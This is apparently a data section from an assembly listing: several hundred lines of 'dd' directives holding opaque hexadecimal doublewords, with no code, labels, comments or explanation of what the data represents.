dd 8572549Ah, 8D7EED45h, 0B84E5200h, 0D0AFD256h, 22251E93h
dd 0F40D000Eh, 4919F9CDh, 0E8454300h, 2CF8DD4Dh, 32750026h
dd 6A615EC3h, 0B5390ED7h, 0A8D8808Ah, 0FE8491C1h, 80CB0145h
dd 0E3D1D402h, 1AF03451h, 0C3003094h, 0D2348B2Ah, 5B080BA4h
dd 58A3519Eh, 5F8DDEEh, 0A53B8C20h, 0CAE780B5h, 3AB0BD7Dh
dd 5461032Dh, 2C21C96Ah, 0F468B08Ch, 2A90AF03h, 9FDC954Fh
dd 8B707A00h, 394D260Dh, 5CED0350h, 57B8BE34h, 45098F06h
dd 80948068h, 1D64A0EFh, 0AD3707E9h, 8022CB48h, 542A7F53h
dd 0ED02BC00h, 5B34DED0h, 44F0012h, 0B7CCD4ECh, 0E1F85F6Ah
dd 1F5E63Fh, 1AB00E61h, 11C88F7Dh, 7E6B38C9h, 6FF1EC07h
dd 0EE023317h, 242E8D88h, 0AEE5DE00h, 0B17B1655h, 35F83994h
dd 9741C7F5h, 15F9E61h, 5F908174h, 4562D084h, 0F5A96703h
dd 98E1CD1Fh, 78B39EB9h, 97782CFEh, 0CA690049h, 0DDB0F7B2h
dd 0EAD12F00h, 8104506Ch, 0D69D0B97h, 9A8156CDh, 0C04066BAh
dd 2A01E1FEh, 0B74AA5E7h, 60C13618h, 2A9A4E4h, 401C8F6Fh
dd 0AD839E41h, 0B1B0EF47h, 1539A0E3h, 26120565h, 890E2B2h
dd 74F0B61Bh, 98A900F9h, 714DD374h, 72004F0Ch, 0E752268Eh
dd 17CF50DFh, 0B350E41h, 7480B4F0h, 2DA669E1h, 3B0064E4h
dd 8FCF552Eh, 77AD4BD7h, 0D0924C4Eh, 5015B401h, 0D7E9701Eh
dd 60C474D1h, 4103EE9Bh, 0D9E60D0Ch, 5090F0CFh, 0C70209F7h
dd 90C0FC47h, 3F755AC5h, 0B465451Fh, 0E0210E80h, 401A5Ch
dd 0C66F8977h, 5725184Bh, 0BA7CCE1Dh, 1222F340h, 0B88BE0Dh
dd 69C78E6Fh, 36604383h, 3E66D6D8h, 0D5C39A2Ch, 0F7111030h
dd 184A7F4Bh, 2951C55Dh, 0D7054756h, 0CB7DDF83h, 3C2F9880h
dd 977F2C7Eh, 2902ED3h, 0E598090Ch, 378F4043h, 8C45D09Ah
dd 3703B1E0h, 8B54293Ah, 0F134B19Ch, 75BD9F4h, 5D6EA1F6h
dd 56A692F3h, 40B4A069h, 9ABF47ACh, 0A11BD001h, 7AC30942h
dd 0A9A2E8h, 55E851DCh, 2D5EB08Dh, 0AA12890Bh, 0E5678098h
dd 0C840B9h, 0C1CDB304h, 0E322D3F8h, 96C22100h, 31AB146Fh
dd 50DD0085h, 0AE1001FAh, 500E00Bh, 21173891h, 0B2D6EDh
dd 0A5184CCh, 376E3BC5h, 993A1D1Eh, 420B1480h, 7B1CBBh
dd 76C49347h, 34DB674Bh, 0F374B400h, 203B5ACFh, 0FB941D8Eh
dd 0D79A0069h, 377CC710h, 3D4F5900h, 6431D4B0h, 85833E54h
dd 9880A53Bh, 0EF67BF6Fh, 0F601CBB4h, 7D84BCC2h, 1A204DECh
dd 83D41E68h, 981C44D5h, 0A228C59Dh, 0AAD08024h, 0BBB2833h
dd 2634A8F6h, 20BFC107h, 0B783DBDAh, 8595Dh, 541DE6C9h
dd 727DBCC0h, 0F656FC7Eh, 5A4B742Dh, 7E105D09h, 35D9EC00h
dd 57C93DD4h, 18634800h, 0D8A824E6h, 97BB1858h, 0D3894851h
dd 0E15DB273h, 654300B4h, 3E7BD78Eh, 0E72B0FFAh, 0A840E0E3h
dd 0C436FC19h, 0D700A975h, 41F80C61h, 26668Eh, 0C13562B0h
dd 1C347240h, 0A3A13Bh, 337AB6F6h, 2FB2E2Ch, 0D9014FA5h
dd 0F850E40Ah, 0B1BB471Fh, 0FFCCB306h, 3F01781h, 40381794h
dd 0AC7FA5C8h, 0D90333C8h, 0E79A5E59h, 0C3D0D08Eh, 0DF542638h
dd 0A52A00B7h, 27B2828Bh, 0A761E560h, 0E8F564ACh, 7D2612CCh
dd 0E950D06Fh, 0C64CA0FFh, 604B301Fh, 126CA5B2h, 90FEF7FAh
dd 925B0CF8h, 94A4E80Dh, 57F54859h, 60BD24F8h, 0C27EB1B8h
dd 0D7004CBAh, 56F0BFA3h, 6749E1h, 0D509CD31h, 66B8B7B9h
dd 0A105F82Ch, 0FBDA9B00h, 0CD38A4h, 4D51E698h, 0B246334Ah
dd 6BADC07h, 343194FCh, 0B520D46Ah, 9AD300A8h, 69871129h
dd 9200A1B8h, 4FAE8EA6h, 2392780h, 6F9ACE14h, 607D22FBh
dd 0ECBEBF8Dh, 17C03947h, 0C5DAD300h, 3DDC2B0Fh, 2D10700h
dd 6E1A0D9h, 0A8100025h, 0FA5C46B2h, 553B6894h, 811B009Fh
dd 9AB0C3FEh, 0BFE600ECh, 860FC199h, 42005744h, 0D8A7F9B1h
dd 80ACE3h, 0FBA3F204h, 9DB58EC8h, 0DDD9CD01h, 0FF5637D6h
dd 0E51CA850h, 0A5270EA6h, 7DC6B5BFh, 80FB0887h, 9AF84321h
dd 79388Eh, 747DBEDCh, 807A0D45h, 0DA00E896h, 0BA142EB8h
dd 6A907750h, 0D0684Eh, 0C7B0850Bh, 0B8E85E65h, 0FD798D16h
dd 803100Ch, 0B74D0062h, 0B495796h, 68006A8Ah, 0D96765FEh
dd 0D854E7h, 368CD5EBh, 0DD0C7D52h, 99EF0E30h, 1731EEFCh
dd 40450829h, 212FF028h, 2383A60h, 92CD19C2h, 782C9908h
dd 211FFA00h, 692C3942h, 0E9335A00h, 531D1405h, 0B8D0D886h
dd 0C1054B46h, 72B8AD12h, 0D71C1C6h, 0D1018A5h, 0ACE9E018h
dd 0D988AF00h, 0BA7B7682h, 156B1E5Fh, 0FEB8C0E5h, 0F7D63121h
dd 0B9483F00h, 0FAE6AA47h, 0DCB100E2h, 81C55528h, 5100F166h
dd 7215421Dh, 6E6C8F5h, 1FF0FC9h, 71002E39h, 82029DD7h
dd 7603404h, 45893CCAh, 8F16301Fh, 0C9009201h, 38B0E98Bh
dd 5A9790h, 0EA5FC5DBh, 0F4B9282Dh, 8ED05600h, 0D2412A74h
dd 0C2D50023h, 77E735EEh, 0DE00BAE4h, 0AA5F27C5h, 1F6C0F14h
dd 40C32FB3h, 0F3363848h, 59283991h, 2B00F4C5h, 0EDF1337Fh
dd 31A79Dh, 951BD665h, 2F948A7Ch, 8C607473h, 59551D41h
dd 7B471E17h, 69B1FAEh, 209C1432h, 0BAD8AF00h, 0FB5193FAh
dd 33A300DDh, 98DACC4h, 5F0047D1h, 0F612CF29h, 1DA43191h
dd 0B90CD26Dh, 5E2EEA8Bh, 0BA60E200h, 0E700787Bh, 98E4FC31h
dd 60A96120h, 916E195Fh, 3A02BB17h, 5328FDEEh, 7E600EBDh
dd 0F8A7EFADh, 30BB4D30h, 398AA3h, 0E940E291h, 318B230Dh
dd 74F47A1Ch, 0A5083FBh, 7C5A9AC9h, 3ECC79F8h, 8C005D09h
dd 0B780C47Ch, 0FF073E17h, 58EE2492h, 0E54E88Ch, 42B99BE9h
dd 3B8CC68Ah, 0A682EA80h, 6DBA3026h, 990014FCh, 0C7812BECh
dd 190CF9h, 888C90EBh, 0F4B77F35h, 0D71AA328h, 9F247E00h
dd 18D0A93Ah, 0FDB7CEAh, 3E7AF46h, 82A4E000h, 880004F4h
dd 8519B2BEh, 710437Dh, 7C92CB20h, 8DC190C2h, 4A018F72h
dd 0CA05A5DFh, 0A6F09987h, 69B400BEh, 6F135284h, 0FD00DF04h
dd 0A486F1D6h, 0CE0175Bh, 0A2C5D08Bh, 0B2002D28h, 0E46A5340h
dd 0CCA33h, 0D56DB0F9h, 54252148h, 0EB682E00h, 236C8862h
dd 0CFA614DDh, 153CC95Eh, 0D5EEE200h, 4B61B498h, 0AF0360E2h
dd 3782855Ah, 4983E15h, 0C65EE00h, 780E9BEh, 9C187460h
dd 0FD2EF5h, 250AED64h, 0FEDAE0D1h, 70A4E100h, 0F6FC1E9Dh
dd 19140099h, 90E68502h
dd 6E7EA2E4h, 9208FA00h, 9DBEEA1h, 9B1500E1h, 0FF9AA014h
dd 0A0C32768h, 818B3350h, 52F8ADE2h, 7884604Fh, 28F9A238h
dd 498DD700h, 0C1915B75h, 4EC1FCDh, 61B200B8h, 0ABA3D6A1h
dd 638A0501h, 731015A5h, 0BD16ED40h, 907F00FEh, 71DB2776h
dd 0BD98D3E9h, 8075233Bh, 0C142EA8Ah, 1B8C44BFh, 606CA7CBh
dd 84497EC0h, 0AE321E00h, 0FEF1BC8Ah, 5C03080h, 84549821h
dd 49F8A24Fh, 0CD502E05h, 0A21806Ch, 0F037CF1h, 0F276DB21h
dd 5E300082h, 5F088F29h, 0F438BD91h, 0AA4865h, 6A9A3585h
dd 38159FA3h, 91D4A37h, 60838378h, 486C1180h, 0C457840h
dd 894CE25Ah, 4F00DF11h, 0EE47D25Bh, 3A3CDD1Eh, 0B33086A6h
dd 5FE1FA21h, 550A6702h, 0E0787246h, 18AD2B1Bh, 50DB1C9Ch
dd 4864906h, 64BE5BEBh, 20B0628Eh, 7334CDEEh, 22E99500h
dd 822D42CEh, 5A58C083h, 5C13A98h, 0A802ACA2h, 4618A89Ah
dd 33950484h, 21BEAA16h, 9D001BD9h, 60008451h, 0CFE43C9Ch
dd 655A4F2h, 5B1C928Fh, 710081C4h, 1D5ABBDBh, 5C86Fh, 0C78D8E8Ch
dd 80A30A1Fh, 3E49D900h, 43C44B6Ch, 0C84100D1h, 0C3B32696h
dd 7E3C94A5h, 874F802Bh, 0F5E9C224h, 0FCEE8Dh, 0B6DFE5CEh
dd 90A998B2h, 0D3E33D1Ch, 923E78C1h, 8AF0AB51h, 0F266586Fh
dd 12810D01h, 708DE816h, 0F900510Fh, 0A7296A6h, 0C57AE3h
dd 0A12CC141h, 47422986h, 6C1CD803h, 8062309Ah, 0FAF17F3Ah
dd 3E8A00FFh, 8320AA44h, 0B4711485h, 0F53C7706h, 63845C3h
dd 427C400Eh, 0E00049CEh, 550F2883h, 1D64EC1Ah, 0CE91278h
dd 37209649h, 892F5B00h, 570AF8AAh, 7C23F602h, 0CACC055Ah
dd 80486741h, 0E745C021h, 83888200h, 9ECF74EAh, 86D62C9h
dd 364039BDh, 88017EA5h, 1B963A2Bh, 29E0AAA9h, 0BBEA1EF7h
dd 4525010Eh, 8C8EC4B4h, 596D93F8h, 503601C1h, 8AEE783Eh
dd 0AA8DE406h, 119D8402h, 80577F19h, 923A9A4h, 87D300BDh
dd 80EEA8A1h, 0D6509281h, 1B07F9ADh, 0CD0E2CD9h, 0A68B1CE1h
dd 0E7FFAE40h, 15D600D0h, 7B36CEEEh, 7E03286Dh, 65EF2C2h
dd 69BDB864h, 0C5E2003Ch, 58DF4393h, 4D0061D5h, 0A5241298h
dd 53F4AFh, 8F9D282Ah, 0D94079F7h, 7C672500h, 0D0AF30A2h
dd 3CD738A7h, 0AB2CAD83h, 830A531h, 92F1216Dh, 141B0E5Bh
dd 0BC07965Dh, 0E688D321h, 0B0AEA601h, 10CF30F1h, 0C326F4DCh
dd 0D2250CFEh, 0AD270818h, 3F29020h, 5B2E39E0h, 8BC85CC7h
dd 7618C4FAh, 4268B93Ah, 4C3752D9h, 0DE5B8903h, 31E47D3Bh
dd 1700EFF4h, 6D00CB1Fh, 0B6371899h, 3030AB8h, 0E80B38A0h
dd 35A056A8h, 947FB0AFh, 0C3A8A760h, 3F914912h, 95034A13h
dd 6E74BCF4h, 2FF2A4B8h, 26B76B01h, 0B49F3B2Eh, 0E941B8B0h
dd 41F0B191h, 0DBE79000h, 0BDD43DC0h, 0F9AD00EBh, 0A54A30B3h
dd 7651C52Bh, 0FD31F2B0h, 2B3472C8h, 806435DDh, 0B4CB17BBh
dd 0D50056D3h, 21347053h, 0B890D2CCh, 0B8C0721Ch, 29B48860h
dd 737D3Ah, 0DA33E2FEh, 0C11C4EC9h, 51E9E8E4h, 0C58DCCCh
dd 8A263902h, 0C887FA10h, 0FF6E80B2h, 0DF4285E0h, 0CF284A63h
dd 0B2D7B093h, 0B830054Fh, 1F7F6h, 6F52288h, 0DD3BA99Ah
dd 401294A0h, 44420089h, 945AFAE9h, 0BE4900D0h, 2BEE371Dh
dd 0F5249BCDh, 0F8009281h, 3D96E3F9h, 896000E0h, 0ECC366C4h
dd 4900C6ADh, 394AC941h, 5D6874h, 0F638BE9h, 7D097637h
dd 0D6517A00h, 6E2B70C1h, 0BCF60054h, 7FF746CEh, 0C00C3201h
dd 748E9581h, 0CC1B006Eh, 54451B8h, 0E160CDF4h, 71920C19h
dd 0F2E30004h, 0C4C7BACFh, 5607BFBBh, 7C0BDE2h, 0BC6E2E41h
dd 68BD23E1h, 0E4E61180h, 27B1D8C7h, 0E8EF9100h, 0B7DE019Bh
dd 910469D6h, 582DC701h, 0A756D07Ch, 1E55BB00h, 768B6949h
dd 0ECD269Dh, 0B630012h, 0A37CFFD4h, 5B80E100h, 0C44CF2B3h
dd 0DA1D0277h, 11235266h, 0A727D960h, 2073C300h, 970BC0Ah
dd 92F70FF3h, 5380A6AEh, 75540B80h, 0BB7B071Eh, 0FE22583h
dd 0C43EE09Bh, 32AA13BDh, 0BD02FBD1h, 80733174h, 9CD8D088h
dd 78F9007Ah, 0CDE6F854h, 8100DA32h, 39F0EC8Fh, 0B0B72E8Ah
dd 347E0172h, 5FCB35F4h, 7D6CF41Ah, 0F1F86E1Ch, 0D57374C0h
dd 32C97BDh, 0ADAF0C6Fh, 801798D2h, 0CA005AA1h, 0ED7E65FFh
dd 435F00E6h, 500740A5h, 49079117h, 6639258Bh, 3BF41D61h
dd 5FE99840h, 62610063h, 94BDCFEEh, 0E5662644h, 218408h
dd 784AEC66h, 2DFDEECAh, 0BF1C7C00h, 6E98269Fh, 0AE7D0044h
dd 51433454h, 10EAEE39h, 0B1098B00h, 26BEE1B6h, 28B1FFF0h
dd 0D00E4351h, 0F9603894h, 0A29880A9h, 92A5001Ah, 0AA7B4DB3h
dd 1324AA4h, 0F5BB20E7h, 5C4648C0h, 280E8E70h, 9827B615h
dd 1A67C51h, 2BDBD9D5h, 0D80E03B5h, 1832CB97h, 95147811h
dd 0E5B28838h, 4002A062h, 67D3AEF0h, 30934836h, 8B0CF5D7h
dd 86AC6D1Fh, 204300BCh, 65E33FE9h, 0F80BFCA6h, 17C433B9h
dd 21005C08h, 0F92ABA29h, 0E887CED0h, 90810803h, 890F3408h
dd 1CEBE009h, 1E59CA3h, 0C5AC6A2Bh, 80A96744h, 1DE7A270h
dd 187CED68h, 0AC979F91h, 5700A893h, 0B3267E0h, 6822EAh
dd 107BAEC5h, 0EF051BA0h, 6B1EAC00h, 0F29885F7h, 0FF0E693h
dd 2C4178EBh, 5E826A42h, 7D2AAA60h, 5830E000h, 0FFB3FB55h
dd 0A82C0CA2h, 4ADC2E4Eh, 7081330Eh, 80F6009Eh, 0EDC735h
dd 448697FFh, 41FA5BAh, 0E7E7C13h, 638BE0h, 39F67BE0h
dd 2C885E7Fh, 72ED8F00h, 832B73A4h, 9770DBh, 154F32DDh
dd 1A3E12F4h, 6CD37103h, 7665E5EBh, 41DA6018h, 0EC6FDC34h
dd 33913D07h, 4400674h, 90398DB5h, 2A86010Dh, 0B959F29Fh
dd 80D3E168h, 3B048238h, 0E02D05F1h, 61210095h, 0B45634C6h
dd 880033B7h, 0E52CFCD3h, 7643A0Eh, 93C3AB69h, 2A00EE2Eh
dd 0C5841282h, 0DEA86607h, 7970EDBEh, 65E0EE4h, 0D9D7C808h
dd 0D0048EAh, 4DBCFE27h, 0C70A7FC2h, 10F4B320h, 0D06FB7FFh
dd 0ECFDE900h, 0FCAE5160h, 9B753D02h, 407FCD00h, 5FE08832h
dd 760A3700h, 451BCFBDh, 309B0ED4h, 0FD89C2h, 95E8662Bh
dd 51184613h, 318F083h, 84CE00ADh, 0B245F82Ah, 500027FBh
dd 0ABF9A205h, 447521h, 0AF8C8A11h, 0B4DC770Ah, 94053400h
dd 0D01ED190h, 0F1071E30h, 0D6BC0693h, 0C6002889h, 0D852B887h
dd 667EAEh, 0D7E0AB61h, 0DF70DE95h, 2D574E0Fh, 93EC20BCh
dd 7ED8AF18h, 0F6170090h, 0FBA7E17Eh, 5E005A95h, 0A387DF01h
dd 1DA59EDh, 96DD3716h, 3038F618h, 3C0099CCh, 0DE3F06B6h
dd 7635602h, 0C567E974h, 97ADB1A1h, 6A82C0AFh, 0B009B800h
dd 1E18A591h, 7F87625h, 511C9E98h, 9BB84001h, 0C00024C5h
dd 317384ECh, 30A4E4h, 1BD85579h, 38CF9A3Eh, 6D5E3F00h
dd 4AA7E6ADh, 996B00EBh, 0FE8811AEh, 14003603h, 96715E37h
dd 0ED9C62h, 216D27F5h, 8238012Ch, 0E1EBD803h, 0F0C55C42h
dd 1503B63h, 0CB1C408h, 0C0B60347h, 410038BAh, 81CFD02Ah
dd 1C9839D3h, 4E62F6E5h, 1F4004A2h, 0AEB621D8h, 3500200h
dd 0F39A8472h, 98370045h, 190B0EFBh, 8B0015E9h, 48625FA5h
dd 0CE8F04h, 7B6E7655h, 0BBD147A3h, 1C708E48h, 0F5C0DBC1h
dd 0E201593Ah, 76390FB3h, 0E654ECC6h, 0D9DC3800h, 0B771D461h
dd 0B41EED00h, 98EF3235h, 0B9080FF5h, 36800244h, 2E60CBF1h
dd 0A4790507h, 9C904972h, 71AD59A5h, 0EA5507DBh, 82014E65h
dd 144068EBh
dd 36022615h, 0C141D263h, 20C8AAFAh, 0BF046814h, 5D26507h
dd 0CC40C0BEh, 1B007EA6h, 7CA13FDFh, 0F51D36Ah, 442A810Ah
dd 94123820h, 9231674Ah, 0AF0B2877h, 75C35212h, 39952811h
dd 36BDF208h, 19822710h, 590283D4h, 31922858h, 12A7B329h
dd 56AD10FDh, 89613388h, 0C128402Fh, 318080CCh, 0EB1140F7h
dd 2272D620h, 5B31AEFBh, 0A92529B6h, 6CD08F10h, 28425781h
dd 0A9648710h, 621A29CCh, 0AA379BAh, 0A2133C22h, 2E413D8Ch
dd 9F79D70Ch, 0F99C40h, 3311D31Ch, 6C1C613h, 0C52A5A00h
dd 9470BEEFh, 87710069h, 655BF636h, 0C80123CFh, 6A05D8E2h
dd 48801ABBh, 0D9B0905Fh, 4E0E5D30h, 60E46C87h, 0EEC5B432h
dd 0E81001C4h, 7393FCEh, 0A5BDE8B7h, 0D1314100h, 532783F2h
dd 955900C4h, 44E1DE5Ch, 8800D59Dh, 1EF65A9Bh, 0E2350Dh
dd 6D87315Dh, 96D1DB84h, 404824E9h, 8565F303h, 0C091FDF0h
dd 770C9E31h, 3EF51C8Ch, 6DB40F58h, 0D9A9AB40h, 0F100D185h
dd 0BF8156C4h, 0E44E8D3Eh, 330E072Ch, 0A0199D31h, 1CB193AFh
dd 0E5F7B50Eh, 5F66408Ah, 7E0FCE71h, 0FF9F0008h, 0D8218EB2h
dd 0E0C7A9ACh, 0F6E0A462h, 5081ECh, 0C197C042h, 0E7EF87A1h
dd 837DB200h, 124B74BFh, 3D3E00DDh, 9C6A491Ch, 4201D801h
dd 4461A4CDh, 0CBECC26Fh, 51A2C07Ch, 0DF5A1ACFh, 526338F8h
dd 99442246h, 0CDC82116h, 40540069h, 0CA6014BBh, 1D001826h
dd 5649B433h, 39CD1B22h, 0BC80DE71h, 0BBF77B36h, 0E107C250h
dd 0F12046FAh, 38C60DEh, 0C4CF7Fh, 0DF55B480h, 92739C50h
dd 326F860Bh, 200D72Fh, 9E4D7C4Ah, 6400D7EAh, 6EF4CB93h
dd 69A813h, 0A537DAC7h, 847A3B01h, 4EBF5300h, 0A147CF68h
dd 552C00DDh, 237152C5h, 287CFBE5h, 4284500Ah, 0B00E4C9h
dd 3EF1F963h, 0D15D00D7h, 0F52CBE9h, 303D55Ah, 0FB793FE3h
dd 8F841782h, 487100C3h, 94EBDE20h, 607F5CB0h, 80D5A139h
dd 0C7EB915h, 3D169684h, 0EF80D9B6h, 679B8917h, 7B009FC9h
dd 0D7A82472h, 13E6E934h, 0AAD17Ah, 6E58C7E1h, 0A4F2802Fh
dd 331C1200h, 4ADA9132h, 0D77F40h, 510FAE77h, 0B6892948h
dd 3F787600h, 178CDE94h, 0D67404F3h, 803303C9h, 0E7158D5Ch
dd 8B9C2B0Eh, 0A53BA2E5h, 579860E3h, 882300C3h, 6597522Fh
dd 7A000FFCh, 0A0D45AFAh, 0BCD05Ch, 0BFAA4457h, 6FC160BEh
dd 0FDB69F0Fh, 0B39A87A2h, 0A96F280h, 0EE02004Fh, 0CCD40FF6h
dd 9E5C30C3h, 924C006Eh, 14FAE079h, 8DB873h, 0A49AD694h
dd 0EBB9D732h, 5DB8C000h, 45FED4D2h, 75840F4Dh, 0D24761h
dd 958E2618h, 71E6C71h, 380974Ah, 90CE80A4h, 68C00027h
dd 2F3BD9B4h, 0C100A8AEh, 0CD9B9C5Ah, 7E06CF43h, 1057931h
dd 3EEFFF33h, 0C818FC5Bh, 0EA064F83h, 3B775ADCh, 3A7DE6h
dd 65475314h, 931F01B6h, 6667A901h, 738CD03Ch, 3EFE3020h
dd 4680E64Fh, 0FB2C1536h, 0BF00907Dh, 83C91601h, 283258h
dd 63D007E7h, 0A885FC60h, 677ED51Ch, 69E268C0h, 7A9F90h
dd 92055187h, 19FE7D23h, 0BB636A0Eh, 0F50F4010h, 0C0183D37h
dd 5346F6EAh, 0EF00FB16h, 434BACE1h, 1DB08E1Eh, 0C0C93501h
dd 0E885860h, 6900F83Bh, 8CF01CFCh, 7AC22C38h, 0C5ECCCh
dd 186E2A3Eh, 79139C3Dh, 0A0A4A92Ch, 27596401h, 40E20760h
dd 0DFDFBh, 0F35C6A1Ch, 15568ECCh, 0A3925F00h, 0DD9DADE5h
dd 0D4233D14h, 8CA0F480h, 0F87F9E65h, 487EFB00h, 0C0E79FADh
dd 3B5F00DDh, 0FB54177h, 9C00D097h, 3F654D6Ch, 7CDB2735h
dd 895005Dh, 8C994BC2h, 1600E62Ah, 0BBA3E1F8h, 1F4366h
dd 0CF33214Dh, 921A9C88h, 0E0174000h, 0BCFE8DC4h, 165E0278h
dd 0C280B967h, 980CC840h, 0E79EA907h, 0FC029B1h, 3C53C0F2h
dd 0F4335Ah, 0DC8BB50Bh, 3AE03B70h, 0BAA348h, 804A7C8Ch
dd 0FFA6DDh, 0D91C9A6Eh, 0B94BC793h, 7F275B00h, 0B8B8673h
dd 514D00E0h, 1CF147F8h, 9A3A0776h, 80A0802Dh, 0BA83E3Fh
dd 0F2440072h, 8D6C41C5h, 6400529Fh, 0C626E3Ch, 2C27A4h
dd 6A90405Bh, 5ACD6921h, 0D8D20D00h, 0B8E7983h, 3A71F826h
dd 7FE04C2h, 131A09A4h, 0EC1FA1FEh, 0FDDFC00Bh, 52D6B000h
dd 0E5BC27E3h, 0D16F0399h, 481FE859h, 0F0F8EFD3h, 5401BA29h
dd 695E4696h, 0FE60D9BCh, 6A4D00B0h, 0D6C01D94h, 0BD3E7E73h
dd 350A0098h, 62C6F51Ah, 0DCC73053h, 0C40754Ch, 59BDE900h
dd 9AE32B90h, 0B2CE0033h, 9921E06Ah, 16381D54h, 2B938339h
dd 0DB79C5F4h, 252800D2h, 8D26FA81h, 0F20EC984h, 0A0F028E8h
dd 0F9CD7301h, 7E15EE04h, 0E46602C0h, 19809F4Bh, 0E0ECB8E1h
dd 0DA004865h, 4AC7F053h, 28C89EA2h, 0CDD031h, 0CF892F7Eh
dd 0AF791AC6h, 2BA0FE00h, 45D8B175h, 9D990062h, 5EF385B3h
dd 4E00013Dh, 8C8B0CFEh, 71B26Bh, 6487B1B8h, 2DB72B77h
dd 0D9F5601h, 91B43433h, 0E534DE0h, 0D331DF94h, 0F057E1A0h
dd 0F900AFDEh, 48D9033Ah, 810855h, 9458C865h, 2F7FAC18h
dd 0CCCDE702h, 0E1AE7C90h, 0A03B24EBh, 3A02C14Fh, 64CA280Fh
dd 440F4033h, 44494CB9h, 0BC99F380h, 0D22CD140h, 4E00C188h
dd 0F13262F2h, 0C31E1D09h, 5AE90F70h, 0A54A6D80h, 0B31EEBE8h
dd 0C5C07113h, 8FCC1101h, 0E02A0057h, 73DF0261h, 0CB00E216h
dd 0AF562F37h, 0D4418Bh, 0CF25E071h, 0B299553Ch, 0F98C0100h
dd 7FC9213Dh, 0CB3B00C4h, 65908F9Dh, 530066ACh, 1300898h
dd 241183CAh, 24BD0B2Eh, 662C0700h, 4B0710C9h, 8B485D0Dh
dd 0D13E014Dh, 2A92BCC2h, 78C760F6h, 1AFB0045h, 8BCF8E06h
dd 96006754h, 701BBF3Bh, 0A9C65Ah, 9F3B9EAh, 7B7E6F81h
dd 0B894B00h, 29153ADEh, 0CE062461h, 94B30069h, 0D80C7D5Bh
dd 4DB71B03h, 0A8FFE179h, 5EBA495h, 0F29E559h, 0F1F4409Ch
dd 9EBC36E8h, 0DC572004h, 0CB80BA69h, 0F68A1BECh, 1EC7000Bh
dd 4A9A2CFBh, 5A0011B8h, 0EE02331h, 0B891A895h, 981D0504h
dd 0BF14476Ch, 3040F480h, 0A52200E6h, 3A2C7FF9h, 0B30E8754h
dd 602EBBD1h, 0AA75E765h, 0D41E00CFh, 4950408Fh, 61018901h
dd 0E5703531h, 0D020C651h, 9C993A10h, 14D2C787h, 23119015h
dd 0EC7FD8E2h, 6086AA09h, 30048168h, 64C4CB4Fh, 9EAF00D0h
dd 25FD91A0h, 60B824DBh, 2833E92Eh, 8B72D640h, 0B6E70067h
dd 164A98D8h, 5675B479h, 0F78ED000h, 0D7D4BCDBh, 0C7F0118h
dd 0EAA8AD23h, 814CD02Ch, 0BDD39400h, 0E37886E1h, 0F1AA0043h
dd 404DEE5Dh, 2C0F9BDAh, 8011A8F4h, 15D27AC1h, 26D93992h
dd 4E662800h, 0F2BC202Fh, 0AB643A00h, 3297D72Eh, 0D6B05D3h
dd 80D448D5h, 0B3112A88h, 7345E200h, 9C63285Eh, 40FF003Dh
dd 7BD5F069h, 1000E6Bh, 0E1AAA06Ch, 0B1EF8Bh, 65F9EDFh
dd 0ABD8D4E7h, 47D5A00h, 0DE6F18E0h, 88550203h, 8D142C86h
dd 9038C52h, 4C1A5470h, 6BCAC8D8h, 0D7BD51B0h, 944092D5h
dd 1642FCFh, 0B61CEB02h, 0D8733340h, 2D001DB8h, 1B08FD8Fh
dd 0C061563Dh, 6F1128F0h, 0B100A339h, 41DC9A0h, 4EB89Eh
dd 0E341AD02h, 0A24879A1h, 0A4E09724h, 3C28FA50h, 77007206h
dd 15705BA4h, 9158DAA1h, 139D1793h, 0CC40CC1Ch, 2BF1176Ch
dd 0C2140071h, 0F695AE72h, 8B053AD8h, 604C754Fh, 0E0332880h
dd 0A7F50004h, 3CC1D969h, 18000FCCh, 0B882C3BCh, 0EFB24852h
dd 18550FCh, 0FBD4BBE6h, 0E1217EDEh, 2CC3CEE4h, 0C586F7A0h
dd 7C664A07h, 6D10F45Ah
dd 9877ADCAh, 5B200085h, 0DBAFB0BFh, 0DC58FA88h, 5C0F0044h
dd 0E599E607h, 0B76F0005h, 0EE82E75Ah, 38787116h, 3DC22100h
dd 0AC4B4C02h, 9C300079h, 0EAE8BC3Eh, 0A40EC5E4h, 5CA95232h
dd 0C832FFD3h, 5B4C207Bh, 0D8003D48h, 7F4EEF34h, 2E9799F1h
dd 3AFCB3DFh, 0F500893Bh, 0CAC83928h, 0C700B4FFh, 0F7BE3CC3h
dd 4ABAF9h, 875C69EBh, 7BD34704h, 0F1918509h, 96440034h
dd 7DD437DDh, 0D95907CBh, 20E9FC35h, 477B5B60h, 933F2400h
dd 848CEA9Ah, 490700DCh, 0CBF53856h, 330078A3h, 3C889B5Bh
dd 3A53EB41h, 0CCDC9434h, 0D9907203h, 5000C480h, 1D09EDC2h
dd 2738614h, 62175F32h, 0D9C0B4EEh, 0B23DDE55h, 8007BFF7h
dd 18D5DFE1h, 362E0CEh, 4A784576h, 0FFA92D1Ah, 71C4D923h
dd 88D9C87Ch, 9F71CEFAh, 807D6D3Ah, 55CDD8C1h, 2678FD8Dh
dd 21053DDh, 0D3235CEAh, 0A0F944C0h, 7A623F02h, 63DF40B0h
dd 0D2BA93E8h, 45F287A2h, 4789A130h, 34BD02E4h, 1B74FF0Bh
dd 7E7850E0h, 0E701A271h, 5053CC41h, 89CC63B4h, 0A72D00C2h
dd 0B8D93D2Ch, 7D3A73FAh, 40BE80EAh, 6D0A4C36h, 34F301A6h
dd 88D1A7FFh, 3873F89Ah, 33FD1413h, 8AC0F800h, 7A25C6h
dd 0A285F083h, 0CCB85BF2h, 4F742009h, 0C0682084h, 8DF950h
dd 0E754C9B2h, 3B94E1AFh, 7200DB78h, 0BE6699B4h, 604E15h
dd 0E3650D8Eh, 36879741h, 80CA6F38h, 76C54D11h, 17E789h
dd 0FF6A8E6Bh, 0CCA871F5h, 6F8F8200h, 6C2E9AA3h, 4E720059h
dd 2DED03B8h, 0E1759160h, 93A4D050h, 0CC7A9700h, 0A76D163Ah
dd 7553901Bh, 3BA400FBh, 19A310C7h, 7B006A37h, 698FD855h
dd 74BF80FCh, 0E95B8C2h, 10580C98h, 0D5CBD063h, 0E4883DCBh
dd 1C0072FBh, 0D8475312h, 90ED1Eh, 4C0CEEB3h, 82712859h
dd 331C1700h, 75B15345h, 3C100E8h, 7CE647BDh, 0BA00C06Ch
dd 2BFCE1ADh, 0B63B64F8h, 0BF4B006Ch, 26ECFA4Fh, 504CDCB0h
dd 0C43F0Ah, 0E43953F1h, 2331B25h, 4B879575h, 7C40073Ch
dd 0CE00ED1Dh, 948ADFC8h, 0F3C574h, 258145EBh, 0D89CC0E9h
